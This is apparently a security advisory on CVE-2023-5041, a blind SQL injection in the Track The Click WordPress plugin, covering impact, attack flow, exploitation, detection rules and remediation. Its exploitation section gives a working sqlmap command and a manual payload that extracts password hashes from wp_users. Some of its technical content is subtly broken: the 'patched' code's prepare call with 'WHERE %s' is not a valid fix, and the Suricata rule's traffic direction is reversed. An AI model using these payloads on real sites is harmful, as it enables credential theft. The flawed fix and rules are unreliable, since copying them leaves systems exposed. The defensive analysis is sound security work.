CVE-2023-5041

Executive Summary

CVE-2023-5041 is a critical SQL Injection vulnerability in the Track The Click WordPress plugin (versions before 0.3.12). The plugin fails to properly sanitize query parameters passed to its stats REST API endpoint, allowing authenticated users with Author-level privileges or higher to perform time-based blind SQL injection attacks. This can lead to unauthorized data extraction, including user credentials and sensitive site information. The vulnerability is classified under CWE-89 (SQL Injection) and is mapped to MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). No public proof-of-concept (PoC) or exploit code has been released as of this analysis.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to update to version 0.3.12 immediately. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Author role)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the low complexity of exploitation and the severe impact on confidentiality, integrity, and availability. An attacker with minimal privileges can fully compromise the database.

Deep Dive & Mechanics

The vulnerability resides in the stats REST API endpoint of the Track The Click plugin. The plugin does not sanitize or parameterize user-supplied query parameters before incorporating them into SQL queries. This allows an authenticated attacker with an Author role or higher to inject malicious SQL code.

Attack Flow:

1. The attacker authenticates to the WordPress site with an Author-level account.
2. The attacker crafts a malicious HTTP request to the /wp-json/track-the-click/v1/stats endpoint, injecting SQL payloads into query parameters (e.g., ?filter=1' AND (SELECT SLEEP(5))-- -).
3. The plugin executes the unsanitized query against the WordPress database.
4. The attacker uses time-based blind SQL injection techniques to extract data character by character by observing response delays.

Root Cause: Lack of input validation and prepared statements in the REST API handler.

Vulnerable vs. Patched Code

Vulnerable Code (before 0.3.12):

// Vulnerable: Direct concatenation of user input
$filter = $_GET['filter'];
$query = "SELECT * FROM {$wpdb->prefix}track_clicks WHERE $filter";
$results = $wpdb->get_results($query);

Patched Code (0.3.12):

// Patched: Use of prepared statements and sanitization
$filter = sanitize_text_field($_GET['filter']);
$query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}track_clicks WHERE %s", $filter);
$results = $wpdb->get_results($query);

The patched version uses sanitize_text_field() to strip malicious input and $wpdb->prepare() to ensure parameterized queries.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Track The Click plugin < 0.3.12
• Valid Author-level credentials

Exploitation Steps:

1. Authenticate to the WordPress site.
2. Use a tool like sqlmap to automate the blind SQL injection:

   sqlmap -u "http://target.com/wp-json/track-the-click/v1/stats?filter=1" \
          --cookie="wordpress_logged_in_xxx=..." \
          --technique=T --dbms=mysql --batch
   

3. Alternatively, manually craft time-based payloads:

   GET /wp-json/track-the-click/v1/stats?filter=1' AND (SELECT IF(SUBSTRING(user_pass,1,1)='a',SLEEP(5),0) FROM wp_users LIMIT 1)-- - HTTP/1.1
   Host: target.com
   Cookie: wordpress_logged_in_xxx=...
   

Expected Outcome: Extraction of user password hashes, admin credentials, or other sensitive data.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual REST API requests to /wp-json/track-the-click/v1/stats with suspicious query parameters (e.g., SLEEP, BENCHMARK, UNION).
• Alert on time-based anomalies in database response times.

Hardening:

• Update plugin to version 0.3.12 or later.
• Implement Web Application Firewall (WAF) rules to block SQL injection patterns.
• Restrict API access to necessary roles only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-json/track-the-click/v1/stats containing SQL keywords (e.g., SLEEP, BENCHMARK, UNION, SELECT).
  • Unusual response delays (e.g., >5 seconds) from the REST endpoint.
• File IOCs:
  • Modified plugin files in /wp-content/plugins/track-the-click/ (check file integrity).
• Database IOCs:
  • Suspicious entries in wp_track_clicks table or unexpected queries in MySQL logs.

Detection Engineering

YARA Rule

rule CVE_2023_5041_SQLi_Detect {
    meta:
        description = "Detects SQL injection attempts against Track The Click plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-5041"
    strings:
        $sqli1 = "SLEEP(" ascii nocase
        $sqli2 = "BENCHMARK(" ascii nocase
        $sqli3 = "UNION SELECT" ascii nocase
        $sqli4 = "1' AND" ascii nocase
        $endpoint = "/wp-json/track-the-click/v1/stats" ascii nocase
    condition:
        $endpoint and any of ($sqli*)
}

Sigma Rule

title: CVE-2023-5041 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against Track The Click plugin REST API
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/wp-json/track-the-click/v1/stats'
            - 'SLEEP('
            - 'BENCHMARK('
            - 'UNION SELECT'
            - "1' AND"
    condition: selection
falsepositives:
    - Legitimate use of sleep/benchmark in non-malicious context (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-5041 SQL Injection Attempt - Track The Click";
    flow:to_server,established;
    content:"/wp-json/track-the-click/v1/stats"; http_uri;
    content:"SLEEP("; http_uri; nocase;
    sid:1000001;
    rev:1;
    reference:cve,2023-5041;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Update the Track The Click plugin to version 0.3.12 or later.
2. If immediate update is not possible, disable the plugin temporarily.
3. Review database logs for signs of exploitation.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Enforce least privilege for WordPress user roles (restrict Author roles if possible).
• Regularly audit plugin code for security vulnerabilities.
• Use prepared statements and input validation in all database queries.

Valters IT Signature

Report generated by Valters IT DevSecOps Intelligence Unit